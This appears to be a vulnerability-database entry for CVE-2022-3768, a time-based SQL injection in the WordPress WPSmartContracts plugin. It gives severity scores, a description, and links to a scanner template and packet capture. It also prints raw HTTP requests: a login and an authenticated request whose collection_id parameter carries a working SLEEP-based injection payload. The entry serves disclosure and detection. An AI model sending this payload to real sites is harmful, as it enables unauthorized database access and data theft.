| Title | WordPress WPSmartContracts <1.3.12 - SQL Injection |
|---|---|
| Author | Hardik-Solanki |
| Severity | High |
| Impact | An attacker can execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. |
| Remediation | Fixed in version 1.3.12 |
| CVSS Score | 8.8 |
| EPSS Score | 0.56283 |
| CVE ID | CVE-2022-3768 |
| CWE ID | CWE-89 |
| Tags | time-based-sqli cve cve2022 wp-smart-contracts wpscan wp-plugin sqli wordpress wp authenticated wpsmartcontracts vuln |
WordPress WPSmartContracts plugin before 1.3.12 contains a SQL injection vulnerability. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement. An attacker with a role as low as author can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip
log=R4Cdl6&pwd=QNCiqQ&wp-submit=Log+In&testcookie=1
GET /wp-admin/edit.php?post_type=nft&page=nft-batch-mint&step=4&collection_id=1+AND+(SELECT+7741+FROM+(SELECT(SLEEP(7)))hlAf)&uid=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.7
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-3768.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-3768.pcap
N/AN/A